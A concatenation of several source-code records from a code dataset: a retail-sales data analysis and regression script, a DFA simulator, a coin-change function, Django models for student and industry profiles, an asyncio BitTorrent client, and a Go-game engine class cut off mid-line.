plt.figure()\nfig.suptitle('Correlation Matrix', fontsize=20)\nax = fig.add_subplot(111)\ncax = ax.matshow(corr, vmin=-1, vmax=1)\nfig.colorbar(cax)\nticks = np.arange(0,9,1)\nax.set_xticks(ticks)\nax.set_yticks(ticks)\n# Retrive column names\nax.set_xticklabels(list(train.columns))\nax.set_yticklabels(list(train.columns))\nplt.show()\n\nprint(\"** Sort correlation output and order it descending, [MAX->to->MIN]\")\nprint(corr['Item_Outlet_Sales'].sort_values(ascending=False))\n\n# ? no effect\nf, ax = plt.subplots(figsize=(12, 9))\nsns.heatmap(corr, vmax=.8, square=True);\n#heatmap = sns.heatmap(corr,annot=True);\n\n## Manage Categorical Predictors ?\n#sns.countplot(train.Item_Fat_Content)\n#plt.show(train.Item_Fat_Content)\n# Working but overlay on same sns graph -> sns.countplot(train.Item_Fat_Content)\n\n#Analize the relationship between \"taregt variable\" and predictors\nplt.figure(figsize=(12,7))\nplt.xlabel(\"Item_Weight\")\nplt.ylabel(\"Item_Outlet_Sales\")\nplt.title(\"Item_Weight and Item_Outlet_Sales Analysis\")\nplt.plot(train.Item_Weight, train[\"Item_Outlet_Sales\"],'.', alpha = 0.3)\nplt.show()\n\n#Analisys on item visibility on store\nplt.figure(figsize=(12,7))\nplt.xlabel(\"Item_Visibility\")\nplt.ylabel(\"Item_Outlet_Sales\")\nplt.title(\"Item_Visibility and Item_Outlet_Sales Analysis\")\nplt.plot(train.Item_Visibility, train[\"Item_Outlet_Sales\"],'.', alpha = 0.3)\nplt.show()\n\n# Impact: Outlet_Establishment_Year and Item_Outlet_Sales analysis\nprint(\"** Impact: Outlet_Establishment_Year and Item_Outlet_Sales analysis \")\nOutlet_Establishment_Year_pivot = train.pivot_table(index='Outlet_Establishment_Year', values=\"Item_Outlet_Sales\", aggfunc=np.median)\nOutlet_Establishment_Year_pivot.plot(kind='bar', color='blue',figsize=(12,7))\nplt.xlabel(\"Outlet_Establishment_Year\")\nplt.ylabel(\"Sqrt Item_Outlet_Sales\")\nplt.title(\"Impact of Outlet_Establishment_Year on Item_Outlet_Sales\")\nplt.xticks(rotation=0)\nplt.show()\n\n# Impact: Item_Fat_Content onItem_Outlet_Sales analysis\nprint(\"** Impact: Item_Fat_Content onItem_Outlet_Sales analysis \")\nItem_Fat_Content_pivot = train.pivot_table(index='Item_Fat_Content', values=\"Item_Outlet_Sales\", aggfunc=np.median)\nItem_Fat_Content_pivot.plot(kind='bar', color='blue',figsize=(12,7))\nplt.xlabel(\"Item_Fat_Content\")\nplt.ylabel(\"Item_Outlet_Sales\")\nplt.title(\"Impact of Item_Fat_Content on Item_Outlet_Sales\")\nplt.xticks(rotation=0)\nplt.show()\n\n# Impact: Outlet_Identifier on Item_Outlet_Sales analysis\nprint(\"** Outlet_Identifier on Item_Outlet_Sales analysis \")\nOutlet_Identifier_pivot = train.pivot_table(index='Outlet_Identifier', values=\"Item_Outlet_Sales\", aggfunc=np.median)\nOutlet_Identifier_pivot.plot(kind='bar', color='blue',figsize=(12,7))\nplt.xlabel(\"Outlet_Identifier\")\nplt.ylabel(\"Item_Outlet_Sales\")\nplt.title(\"Impact of Outlet_Identifier on Item_Outlet_Sales\")\nplt.xticks(rotation=0)\nplt.show()\n\n# ? no effect\n# train.pivot_table(values='Outlet_Type', columns='Outlet_Identifier',aggfunc=lambda x:x.mode())\n# Impact: Outlet_Size on Item_Outlet_Sales analysis\nprint(\"** Impact: Outlet_Size on Item_Outlet_Sales analysis \")\nOutlet_Size_pivot = train.pivot_table(index='Outlet_Size', values=\"Item_Outlet_Sales\", aggfunc=np.median)\nOutlet_Size_pivot.plot(kind='bar', color='blue',figsize=(12,7))\nplt.xlabel(\"Outlet_Size\")\nplt.ylabel(\"Item_Outlet_Sales\")\nplt.title(\"Impact of Outlet_Size on Item_Outlet_Sales\")\nplt.xticks(rotation=0)\nplt.show()\n\n# Impact: Outlet_Type on Item_Outlet_Sales analysis\nprint(\"** Impact: Outlet_Type on Item_Outlet_Sales analysis \")\nOutlet_Type_pivot = train.pivot_table(index='Outlet_Type', values=\"Item_Outlet_Sales\", aggfunc=np.median)\nOutlet_Type_pivot.plot(kind='bar', color='blue',figsize=(12,7))\nplt.xlabel(\"Outlet_Type \")\nplt.ylabel(\"Item_Outlet_Sales\")\nplt.title(\"Impact of Outlet_Type on Item_Outlet_Sales\")\nplt.xticks(rotation=0)\nplt.show()\n\n# Impact: Outlet_Location_Type on Item_Outlet_Sales analysis\nprint(\"** Impact: Outlet_Location_Type on Item_Outlet_Sales analysis \")\nOutlet_Location_Type_pivot = train.pivot_table(index='Outlet_Location_Type', values=\"Item_Outlet_Sales\", aggfunc=np.median)\nOutlet_Location_Type_pivot.plot(kind='bar', color='blue',figsize=(12,7))\nplt.xlabel(\"Outlet_Location_Type\")\nplt.ylabel(\"Item_Outlet_Sales\")\nplt.title(\"Impact of Outlet_Location_Type on Item_Outlet_Sales\")\nplt.xticks(rotation=0)\nplt.show()\n\n# Concat Dataset\nprint(\"** Dataset Concatenation \")\ntrain['source']='train'\ntest['source']='test'\ndata = pd.concat([train,test], ignore_index = True)\nprint(train.shape, test.shape, data.shape)\n\n# Check the percentage of null values per variable\nprint(\"** Check the percentage of null values per variable \")\ndata.isnull().sum()/data.shape[0]*100 #show values in percentage\nprint(data.isnull().sum()/data.shape[0]*100)\n\n# mean of NaN/Missing values\n#aggfunc is mean by default! Ignores NaN by default\n# Imputing Missing Values\n'''\npivot_table() is used to calculate, aggregate, and summarize your data.\n'''\nprint(\"** mean of NaN/Missing values - for values Item_Weight\")\nitem_avg_weight = data.pivot_table(values='Item_Weight', index='Item_Identifier')\nprint(item_avg_weight)\nprint(data[:][data['Item_Identifier'] == 'DRI11'])\n\n''' ------ '''\n\n# Example of function declaration\n## Scope to assign mean to NaN values ?\ndef impute_weight(cols):\n Weight = cols[0]\n Identifier = cols[1]\n\n if pd.isnull(Weight):\n return item_avg_weight['Item_Weight'][item_avg_weight.index == Identifier]\n else:\n return Weight\n\nprint('Orignal #missing: %d' % sum(data['Item_Weight'].isnull()))\ndata['Item_Weight'] = data[['Item_Weight', 'Item_Identifier']].apply(impute_weight, axis=1).astype(float)\nprint('Final #missing: %d' % sum(data['Item_Weight'].isnull()))\n''' ------ '''\n# Mean for text values\n## Determing the mode for each\noutlet_size_mode = data.pivot_table(values='Outlet_Size', columns='Outlet_Type',aggfunc=lambda x:x.mode())\nprint(outlet_size_mode)\n\ndef impute_size_mode(cols):\n Size = cols[0]\n Type = cols[1]\n if pd.isnull(Size):\n return outlet_size_mode.loc['Outlet_Size'][outlet_size_mode.columns == Type][0]\n else:\n return Size\n\nprint ('Orignal #missing: %d'%sum(data['Outlet_Size'].isnull()))\ndata['Outlet_Size'] = data[['Outlet_Size','Outlet_Type']].apply(impute_size_mode,axis=1)\nprint ('Final #missing: %d'%sum(data['Outlet_Size'].isnull()))\n\n##############################################\n############ FEATURE ENGINE SECTION #########\nprint(\"### FEATURE ENGINE SECTION ###\")\n#Creates pivot table with Outlet_Type and the mean of #Item_Outlet_Sales. Agg function is by default mean()\nprint(\"*** FEATURE ENGINEERING SECTION ***\")\nprint(\"* Data relation between Outlet_Type and Item_Outlet_Sales\")\nprint( data.pivot_table(values='Item_Outlet_Sales', columns='Outlet_Type') )\n\nprint(\"* Item_Visibility analysis\")\nvisibility_item_avg = data.pivot_table(values='Item_Visibility',index='Item_Identifier')\ndef impute_visibility_mean(cols):\n visibility = cols[0]\n item = cols[1]\n if visibility == 0:\n result = visibility_item_avg['Item_Visibility'] [visibility_item_avg.index == item]\n return result\n else:\n return visibility\n\nprint ('Original #zeros: %d'%sum(data['Item_Visibility'] == 0))\ndata['Item_Visibility'] = data[['Item_Visibility','Item_Identifier']].apply(impute_visibility_mean,axis=1).astype(float)\nprint ('Final #zeros: %d'%sum(data['Item_Visibility'] == 0))\n\nprint('* Determine the years of operation of a store')\ndata['Outlet_Years'] = 2013 - data['Outlet_Establishment_Year']\ndata['Outlet_Years'].describe()\nprint(data['Outlet_Years'].describe())\n\nprint('## Combination of feature example based on Item_Type ##')\n\n#Get the first two characters of ID:\ndata['Item_Type_Combined'] = data['Item_Identifier'].apply(lambda x: x[0:2])\n#Rename them to more intuitive categories:\ndata['Item_Type_Combined'] = data['Item_Type_Combined'].map({'FD':'Food',\n 'NC':'Non-Consumable',\n 'DR':'Drinks'})\ndata['Item_Type_Combined'].value_counts()\nprint(data['Item_Type_Combined'].value_counts())\n\nprint('## Renaming of feature based on Item_Fat_Content ##')\n\n#Change categories of low fat:\nprint('Original Categories:')\nprint(data['Item_Fat_Content'].value_counts())\nprint('\\nModified Categories:')\ndata['Item_Fat_Content'] = data['Item_Fat_Content'].replace({'LF':'Low Fat',\n 'reg':'Regular',\n 'low fat':'Low Fat'})\nprint(data['Item_Fat_Content'].value_counts())\n\nprint('## Subcategory of feature based on Item_Fat_Content ##')\ndata.loc[data['Item_Type_Combined']==\"Non-Consumable\",'Item_Fat_Content'] = \"Non-Edible\"\ndata['Item_Fat_Content'].value_counts()\nprint(data['Item_Fat_Content'].value_counts())\n\n##############################################\n############ FEATURE TRANSFORMATION #########\n\n'''\nWe can create a new variable that show us the importance given to a product in a given store according to the mean of\nsignificance given to the same product in all other stores.\n'''\nfunc = lambda x: x['Item_Visibility']/visibility_item_avg['Item_Visibility'][visibility_item_avg.index == x['Item_Identifier']][0]\ndata['Item_Visibility_MeanRatio'] = data.apply(func,axis=1).astype(float)\ndata['Item_Visibility_MeanRatio'].describe()\nprint(data['Item_Visibility_MeanRatio'].describe())\n\n## Manage categorical data - Example\nle = LabelEncoder()#New variable for outlet\ndata['Outlet'] = le.fit_transform(data['Outlet_Identifier'])\nvar_mod = ['Item_Fat_Content','Outlet_Location_Type','Outlet_Size','Item_Type_Combined','Outlet_Type','Outlet']\n\nfor i in var_mod:\n data[i] = le.fit_transform(data[i])\n print(data[i])\n\n##############################################\n############ EXPORTING DATA #########\n#Drop the columns which have been converted to different types:\ndata.drop(['Item_Type','Outlet_Establishment_Year'],axis=1,inplace=True)\n#Divide into test and train:\ntrain = data.loc[data['source']==\"train\"]\ntest = data.loc[data['source']==\"test\"]\n#Drop unnecessary columns:\ntest.drop(['Item_Outlet_Sales','source'],axis=1,inplace=True)\ntrain.drop(['source'],axis=1,inplace=True)\n#Export files as modified versions:\ntrain.to_csv(\"data/train_modified.csv\",index=False)\ntest.to_csv(\"data/test_modified.csv\",index=False)\n\n##############################################\n############ MODEL BUILDING #########\ntrain_df = pd.read_csv('data/train_modified.csv')\ntest_df = pd.read_csv('data/test_modified.csv')\n\n# Define target and ID columns:\ntarget = 'Item_Outlet_Sales'\nIDcol = ['Item_Identifier', 'Outlet_Identifier']\n\nprint(\"######### Init model fit analysis #########\")\ndef modelfit(alg, dtrain, dtest, predictors, target, IDcol, filename):\n # Fit the algorithm on the data\n alg.fit(dtrain[predictors], dtrain[target])\n\n # Predict training set:\n dtrain_predictions = alg.predict(dtrain[predictors])\n\n # Remember the target had been normalized\n Sq_train = (dtrain[target]) ** 2\n\n # Perform cross-validation:\n# cv_score = cross_validation.cross_val_score(alg, dtrain[predictors], Sq_train, cv=20, scoring='neg_mean_squared_error')\n ## ? to verify sobstutution of oldes lib to the new\n cv_score = cross_val_score(alg, dtrain[predictors], Sq_train, cv=20,scoring='neg_mean_squared_error')\n cv_score = np.sqrt(np.abs(cv_score))\n\n # Print model report:\n print(\"\\nModel Report\")\n print(\"RMSE : %.4g\" % np.sqrt(metrics.mean_squared_error(Sq_train.values, dtrain_predictions)))\n print(\"CV Score : Mean - %.4g | Std - %.4g | Min - %.4g | Max - %.4g\" % (\n np.mean(cv_score), np.std(cv_score), np.min(cv_score), np.max(cv_score)))\n\n # Predict on testing data:\n dtest[target] = alg.predict(dtest[predictors])\n\n # Export submission file:\n IDcol.append(target)\n submission = pd.DataFrame({x: dtest[x] for x in IDcol})\n submission.to_csv(filename, index=False)\n\nprint(\"### 1. Model fit analysis - Linear Regression Model ###\")\nfrom sklearn.linear_model import LinearRegression\nLR = LinearRegression(normalize=True)\npredictors = train_df.columns.drop(['Item_Outlet_Sales','Item_Identifier','Outlet_Identifier'])\nmodelfit(LR, train_df, test_df, predictors, target, IDcol, 'LR.csv')\n","sub_path":"data_analisys_example_1/data_analisys_example_1_saveImg.py","file_name":"data_analisys_example_1_saveImg.py","file_ext":"py","file_size_in_byte":15015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"3443137","text":"\nQ = {\"A\", \"B\", \"C\", \"D\"}\n\nsig = {\"a\", \"b\", \"c\"}\n\nq0 = \"B\"\n\nlista = {\"C\"}\n\ndt = {\n (\"A\", \"b\"): \"B\",\n (\"B\", \"a\"): \"B\",\n (\"B\", \"b\"): \"D\",\n (\"B\", \"c\"): \"C\",\n (\"C\", \"a\"): \"B\",\n (\"D\", \"b\"): \"A\",\n}\n\n\ndef automato(input_string, dt, q0, lista):\n state = q0\n \n for i in input_string:\n try:\n state = dt[state, i]\n except KeyError:\n state = None\n \n return state in lista\n\n\ninput_string = input(\"Entrada: \")\n\nif(automato(input_string, dt, q0, lista)):\n print(\"Aceito\\n\")\nelse:\n print(\"Rejeitado\\n\")\n\n\n","sub_path":"respostas/automatos/dfa-prog/dfa-prog-q2.py","file_name":"dfa-prog-q2.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"149916647","text":"# Given a number of US cents, return the optimal configuration of coins in an object\n\ndef makeChange(cents):\n result = {}\n coins = [100, 50, 25, 10, 5]\n\n i = 0\n while cents >= 10:\n if cents / coins[i]:\n result[coins[i]] = cents / coins[i]\n cents = cents % coins[i]\n i+=1\n\n if cents:\n result[1] = cents\n\n return result\n\nmyCoins = 123\nmyCoins = 120\nmyCoins = 110\nmyCoins = 1234\nmyCoins = 1220\nprint(makeChange(myCoins))\n","sub_path":"Chapter-04-Strings-AssociativeArrays/Coin-Change-With-Object/Coin-Change-With-Object.py","file_name":"Coin-Change-With-Object.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"534474140","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\n\nclass MesConseils(models.Model):\n NomConseil=models.CharField(max_length=50,verbose_name=\"Nom conseil\")\n ContenuConseil=models.CharField(max_length=300,verbose_name=\"contenu contenu\")\n Vue=models.BooleanField(default=False)\n\n def __str__(self):\n return self.NomConseil\n\n\nclass TypeDiplome(models.Model):\n nomDiplome=models.CharField(max_length=30,verbose_name=\"nom du diplome\",null=True)\n DateDiplome=models.CharField(verbose_name=\"date du diplome\",max_length=15,blank=True,null=True)\n Lieu=models.CharField(max_length=100,verbose_name=\"Lieu\",null=True)\n NomEcole=models.CharField(max_length=100,verbose_name=\"nom ecole\",null=True)\n IntituleDiplome=models.CharField(max_length=100,verbose_name=\"nom ecole\",null=True)\n def __str__(self):\n return str(self.nomDiplome)\n\n\"\"\"------------------------------ class comportant les informations sur chaque competences------------------------\"\"\"\nclass InfoCompetence(models.Model):\n Connaissance=models.BooleanField(default=True,blank=True)\n Projet=models.BooleanField(default=False,blank=True)\n NomStructure=models.CharField(blank=True,max_length=100,null=True)\n Temps=models.CharField(blank=True,max_length=30,null=True)\n ObjetRealise=models.CharField(blank=True,max_length=500,null=True)\n\n\n\n\"\"\"--------------------------------------- class fils des model comportant des sous id-------------------------------\"\"\"\n\n\n\"\"\"--------------------------------------- class comportant des sous id--------------------------------------\"\"\"\nclass Informatic_SousID(models.Model):\n Nom = models.CharField(max_length=200, verbose_name=\"Nom Tache\")\n Pere = models.BooleanField(default=False)\n NomPere = models.CharField(max_length=200, verbose_name=\"Nom Pere\",blank=True)\n InformationCpt = models.OneToOneField(InfoCompetence, blank=True,null=True,on_delete=models.SET_NULL)\n\n def __str__(self):\n return self.Nom\n\nclass Elec_sys_SousID(models.Model):\n Nom = models.CharField(max_length=200, verbose_name=\"Nom Tache\")\n Pere = models.BooleanField(default=False)\n NomPere = models.CharField(max_length=200, verbose_name=\"Nom Pere\", blank=True)\n InformationCpt = models.OneToOneField(InfoCompetence, blank=True, null=True,on_delete=models.SET_NULL)\n def __str__(self):\n return self.Nom\n\nclass Energy_SousID(models.Model):\n Nom = models.CharField(max_length=200, verbose_name=\"Nom Tache\")\n Pere = models.BooleanField(default=False)\n NomPere = models.CharField(max_length=200, verbose_name=\"Nom Pere\", blank=True)\n InformationCpt = models.OneToOneField(InfoCompetence, blank=True, null=True,on_delete=models.SET_NULL)\n def __str__(self):\n return self.Nom\n\nclass Automation_SousID(models.Model):\n Nom=models.CharField(max_length=200,verbose_name=\"Nom Tache\")\n Pere=models.BooleanField(default=False)\n NomPere = models.CharField(max_length=200, verbose_name=\"Nom Pere\", blank=True)\n InformationCpt =models.OneToOneField(InfoCompetence,blank=True,null=True,on_delete=models.SET_NULL)\n\n\n def __str__(self):\n return self.Nom\n\n\"\"\"--------------------------------------- class ne comportant aucun sous id--------------------------------------\"\"\"\nclass Automotive_SousID(models.Model):\n Nom = models.CharField(max_length=200, verbose_name=\"Nom Tache\")\n Pere = models.BooleanField(default=False)\n NomPere = models.CharField(max_length=200, verbose_name=\"Nom Pere\", blank=True)\n InformationCpt = models.OneToOneField(InfoCompetence, blank=True, null=True,on_delete=models.SET_NULL)\n def __str__(self):\n return self.Nom\n\nclass Vision_SousID(models.Model):\n Nom = models.CharField(max_length=200, verbose_name=\"Nom Tache\")\n Pere = models.BooleanField(default=False)\n NomPere = models.CharField(max_length=200, verbose_name=\"Nom Pere\", blank=True)\n InformationCpt = models.OneToOneField(InfoCompetence, blank=True, null=True,on_delete=models.SET_NULL)\n def __str__(self):\n return self.Nom\n\nclass EnergyRenouvelable_SousID(models.Model):\n Nom = models.CharField(max_length=200, verbose_name=\"Nom Tache\")\n Pere = models.BooleanField(default=False)\n NomPere = models.CharField(max_length=200, verbose_name=\"Nom Pere\", blank=True)\n InformationCpt = models.OneToOneField(InfoCompetence, blank=True, null=True,on_delete=models.SET_NULL)\n def __str__(self):\n return self.Nom\n\n\nclass Electronic_SOUSID(models.Model):\n Nom = models.CharField(max_length=200, verbose_name=\"Nom Tache\")\n Pere = models.BooleanField(default=False)\n NomPere = models.CharField(max_length=200, verbose_name=\"Nom Pere\", blank=True)\n InformationCpt = models.OneToOneField(InfoCompetence, blank=True, null=True, on_delete=models.SET_NULL)\n def __str__(self):\n return self.Nom\n\n\n\n\nclass Saf_SOUSID(models.Model):\n Nom = models.CharField(max_length=200, verbose_name=\"Nom Tache\")\n Pere = models.BooleanField(default=False)\n NomPere = models.CharField(max_length=200, verbose_name=\"Nom Pere\", blank=True)\n InformationCpt = models.OneToOneField(InfoCompetence, blank=True, null=True,on_delete=models.SET_NULL)\n def __str__(self):\n return self.Nom\n\n\"\"\"--------------------------------------- class Abstract general id--------------------------------------\"\"\"\n\nclass CompetenceBDD(models.Model):\n Automation=models.ManyToManyField(Automation_SousID,blank=True)\n Automotive=models.ManyToManyField(Automotive_SousID,blank=True)\n Informatic=models.ManyToManyField(Informatic_SousID,blank=True)\n Electronic=models.ManyToManyField(Electronic_SOUSID,blank=True)\n Elec_sys=models.ManyToManyField(Elec_sys_SousID,blank=True)\n Energy=models.ManyToManyField(Energy_SousID,blank=True)\n Vision=models.ManyToManyField(Vision_SousID,blank=True)\n RE=models.ManyToManyField(EnergyRenouvelable_SousID,blank=True)\n safety=models.ManyToManyField(Saf_SOUSID,blank=True)\n\n class Meta:\n abstract = True\n\n\n\"\"\"----------------------------------- class Competece Etu vide--------------------------------------\"\"\"\n\n\nclass CompetenceEtu(CompetenceBDD):\n nbElement=models.IntegerField(blank=True,default=0)\n\n\n\"\"\"----------------------------------- class Competece General non vide--------------------------------------\"\"\"\n\nclass CompetenceBDDGeneral(CompetenceBDD):\n nbElement=models.IntegerField(blank=True,default=0)\n\n\"\"\"----------------------------------- class profile--------------------------------------\"\"\"\n\n\nclass ProfilIndustriel(models.Model):\n user = models.OneToOneField(User)\n Nom = models.CharField(max_length=50, verbose_name=\"Nom\")\n Prenom = models.CharField(max_length=50, verbose_name=\"Prenom\")\n NumeroTelephone = models.CharField(max_length=10, verbose_name=\"numero telephone\")\n Nom_Entreprise = models.CharField(max_length=50, verbose_name=\"Nom\")\n ProfilValide=models.BooleanField(default=False)\n\n def __str__(self):\n return self.Nom\n\n\nclass ProfilEtudiant(models.Model):\n user=models.OneToOneField(User)\n Nom=models.CharField(max_length=50,verbose_name=\"Nom\")\n Prenom=models.CharField(max_length=50,verbose_name=\"Prenom\")\n DateNaissance=models.CharField(verbose_name=\"Date de naissance\",max_length=12)\n LieuNaissance=models.CharField(verbose_name=\"Lieu de naissance\",max_length=200)\n Nationalite=models.CharField(max_length=200,verbose_name=\"Nationalite\")\n Sexe=models.CharField(max_length=10,verbose_name=\"Sexe\")\n NumeroTelephone=models.CharField(max_length=10,verbose_name=\"numero telephone\")\n CV=models.FileField(upload_to='CV')\n ProfilValable=models.BooleanField(default=False)\n DiplomeEnCours=models.OneToOneField(TypeDiplome,null=True,blank=True,related_name=\"DiplomeCours\")\n DernierDiplome=models.OneToOneField(TypeDiplome,null=True,blank=True)\n Situation=models.CharField(max_length=20,verbose_name=\"Situation actuelle\")\n RechercheStageAlternance=models.BooleanField(default=False)\n DateRechercheStage=models.CharField(verbose_name=\"Date de recherche de stage alternance\",max_length=100,blank=True)\n NomEtablissement=models.CharField(verbose_name=\"Nom etablissement\",max_length=20,blank=True,null=True)\n ProfilValide=models.BooleanField(default=False)\n RenseignementCompetence=models.BooleanField(default=False,blank=True)\n ProfilCompetenceValid=models.BooleanField(default=False)\n PostulerMaster=models.BooleanField(default=False,blank=True)\n CompetenceValid=models.BooleanField(default=False,blank=True)\n MesConseilsProfil=models.ManyToManyField(MesConseils,blank=True)\n MesCompetence=models.OneToOneField(CompetenceEtu,blank=True,null=True)\n\n def __str__(self):\n return self.Nom","sub_path":"Projet/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"301170625","text":"#!/usr/bin/python3\n\n\nimport asyncio\nfrom hashlib import sha1\nimport time\n\nfrom .tracker_client import TrackerClient\nfrom .torrent_file import TorrentInfo\nfrom .piece_manage import PiecesManager\nfrom .protocol import PeerConnection\n\n\n\nMAX_PEERS = 1\n\n\nclass TorrentClient:\n def __init__(self, torrent_file):\n self._tinfo = TorrentInfo(torrent_file)\n self._tracker = TrackerClient(self._tinfo)\n self._peers_queue = asyncio.Queue()\n self._workers = list()\n self._futures = list()\n self._piece_manager = PiecesManager(self._tinfo)\n self._aborted = False\n\n async def start(self):\n self._init_workers()\n previous = None # time we last made an announce call (timestamp)\n interval = 30 * 60 # default interval between requests\n while True:\n if self._piece_manager.complete:\n print(\"Done\")\n break\n if self._aborted:\n print(\"Aborted\")\n break\n current = time.time()\n if (not previous) or (previous + interval < current):\n response = await self._tracker.connect(\n first=True if not previous else False,\n uploaded=self._piece_manager.bytes_uploaded,\n downloaded=self._piece_manager.bytes_downloaded,\n next_url=True)\n if not response:\n print(\"Tracker doesn't responds\")\n else:\n previous = time.time()\n interval = response.interval\n self._empty_queue()\n local_time = time.localtime() \n for peer in response.peers:\n self._peers_queue.put_nowait(peer)\n print(\"Tracker respond got at {}. \" \\\n \"Next request in {} minutes.\".format(\n \"{}:{}\".format(local_time.tm_hour,\n local_time.tm_min),\n interval / 60))\n print(response)\n else:\n await asyncio.sleep(5)\n self.stop()\n\n def _init_workers(self):\n self._workers = [PeerConnection(self._peers_queue,\n self._tinfo.hash,\n self._tracker.my_id,\n self._piece_manager,\n worker_id,\n self._on_block_retrieved)\n for worker_id in range(MAX_PEERS)]\n # self._futures = [worker.future for worker in self._workers]\n\n @property\n def future(self):\n return self._future\n\n def _empty_queue(self):\n while not self._peers_queue.empty():\n self._peers_queue.get_nowait()\n\n def stop(self):\n print(\"Aborting!\")\n self._aborted = True\n for worker in self._workers:\n worker.stop()\n self._piece_manager.close()\n self._tracker.close()\n\n def _on_block_retrieved(self, peer_id, piece_index, block_offset, data):\n self._piece_manager.block_received(peer_id=peer_id,\n piece_idx=piece_index,\n block_offset=block_offset,\n data=data)\n\n","sub_path":"pyrat/torrent_client.py","file_name":"torrent_client.py","file_ext":"py","file_size_in_byte":3423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"262474263","text":"from copy import deepcopy\n\nclass Game:\n\n # Define new object, State\n class State:\n def __init__(self, player, N, moves, board):\n self.player = player\n self.N = N\n self.moves = moves\n self.board = board\n\n #\n def load_board(self, fileName):\n stream = open(fileName, 'r').read().replace('\\n', '')\n n = int(stream[0])\n\n assert n >= 3 # to be sure that the board is big enough\n player = int(stream[2])\n board = [None] * n\n\n index = 3\n for i in range(n):\n board[i] = [None] * n\n for j in range(n):\n board[i][j] = int(stream[index])\n index += 1\n\n state = Game.State(player, n, None, board)\n state.moves = self.actions(state)\n return state\n\n #\n def to_move(self, state: State):\n return state.player\n\n def change_Player(self, state: State):\n if state.player == 1:\n return 2\n else:\n return 1\n\n #\n def terminal_test(self, state: State):\n stoneCaptured = None\n for i in range(state.N - 1):\n for j in range(state.N - 1):\n if state.board[j][i] != 0:\n stoneCaptured = stoneCaptured or self.isCaptured(state, i + 1, j + 1)\n\n return (len(state.moves) == 0) or stoneCaptured\n\n def utility(self, state: State, player):\n if self.terminal_test(self, state):\n if len(state.moves) == 0:\n return 0\n elif state.player == player:\n return -1\n else:\n return 1\n else:\n state2 = deepcopy(state)\n state2.player = self.change_Player( state)\n\n minUsLiberties = min(self.getGroupLiberties( state))\n minOppLiberties = min(self.getGroupLiberties( state2))\n\n ratio = 1 / minOppLiberties\n\n if minUsLiberties > minOppLiberties:\n return ratio\n elif minUsLiberties < minOppLiberties:\n return -ratio\n else:\n if state.player == player:\n return 0.0001\n else:\n return -0.0001\n\n def getGroupLiberties(self, state: State):\n nbLibPerGroup = []\n for group in self.getGroups( state):\n groupLib = set()\n for s in group:\n groupLib.update(self.getLiberties( state, s[0] + 1, s[1] + 1))\n nbLibPerGroup.append(len(set(groupLib)))\n return nbLibPerGroup\n\n def getGroups(self, state: State):\n stoneDiscovered = set()\n listOfGroups = []\n\n for i in range(state.N):\n for j in range (state.N):\n\n if (j, i) not in stoneDiscovered and state.board[i][j] == state.player:\n newGroup = self.getGroupsAux( state, j, i, set(), {(j, i)})\n stoneDiscovered.update(newGroup)\n listOfGroups.append(list(newGroup))\n return listOfGroups\n\n def getGroupsAux(self, state: State, coordX, coordY, traversed, group):\n for n in self.findNeighbours(state, coordX + 1, coordY + 1):\n if (n[0], n[1]) not in group and state.board[n[1]][n[0]] == state.player:\n stone = state.board[n[1]][n[0]]\n group.add((n[0], n[1]))\n traversed.add((coordX, coordY))\n\n return group.union(*[self.getGroupsAux( state, n0, n1, traversed, group)\n for (n0, n1) in\n filter(lambda nbr : state.board[nbr[1]][nbr[0]] == state.player and (nbr[0], nbr[1]) not in traversed,\n self.findNeighbours( state, coordX + 1, coordY + 1))])\n\n def actions(self, state: State):\n state.moves = []\n for i in range(state.N):\n for j in range(state.N):\n stone = state.board[i][j]\n if stone == 0:\n state2 = deepcopy(state)\n state2.board[i][j] = state2.player\n if not self.isCaptured( state2, j + 1, i + 1):\n state.moves.append((state.player, i + 1, j + 1))\n return state.moves\n\n def result(self, state: State, move_a):\n ##Illegal moves ha\n if move_a not in state.moves:\n return state\n state.player = self.change_Player( state.player)\n state.board[move_a[1] - 1][move_a[2] - 1] = move_a[0]\n return state\n\n def isCaptured(self, state: State, posX, posY):\n neighbourIsCaptured = None\n\n # check if neighbours are captured first and make sure that the next neighbour\n # doesn't check the \"capture\" of this stone\n for n in self.findNeighbours( state, posX, posY):\n if (state.board[posY - 1][posX - 1] != state.board[n[1]][n[0]]):\n neighbourIsCaptured = neighbourIsCaptured or \\\n len(self.isCapturedAux(state, n[0] + 1, n[1] + 1, set(),\n self.getLiberties( state, n[0] + 1, n[1] + 1))) == 0\n # a stone is captured only if no neighbours is captured\n return len(self.isCapturedAux( state, posX, posY, set(), self.getLiberties( state, posX, posY))) == 0 \\\n and (not neighbourIsCaptured)\n\n def isCapturedAux(self, state: State, posX, posY, traversed, liberties):\n\n stone = state.board[posY - 1][posX - 1]\n for n in self.findNeighbours( state, posX, posY):\n stoneNeighbour = state.board[n[1]][n[0]]\n if (n[0] + 1, n[1] + 1) not in traversed and (stoneNeighbour == stone):\n liberties = liberties.union(self.getLiberties(state, n[0] + 1, n[1] + 1))\n traversed.add((posX, posY))\n\n return liberties.union(*[self.isCapturedAux( state, n0 +1, n1 +1, traversed, liberties)\n for (n0, n1) in\n filter(lambda nbr : state.board[nbr[1]][nbr[0]] == stone and (nbr[0] + 1, nbr[1] + 1) not in traversed,\n self.findNeighbours( state, posX, posY))])\n\n # returns list of all liberties of one stone, with position X and Y (1 to N)\n def getLiberties(self, state: State, posX, posY):\n liberties = set()\n\n for s in self.findNeighbours( state, posX, posY):\n stone = state.board[s[1]][s[0]]\n if stone == 0:\n liberties.add((s[0], s[1]))\n\n return liberties\n\n # returns the coordinates(on the board -> 0 to N - 1)of all adjacent stones\n def findNeighbours(self, state: State, posX, posY):\n if posX == 1:\n if posY == 1:\n return[(0, 1), (1, 0)]\n elif posY == state.N:\n return [(0, state.N - 2), (1, state.N - 1)]\n else:\n return [(0, posY - 2),(1, posY - 1),(0, posY)]\n elif posX == state.N:\n if posY == 1:\n return [(state.N - 1, 1), (state.N - 2, 0)]\n elif posY == state.N:\n return [(state.N - 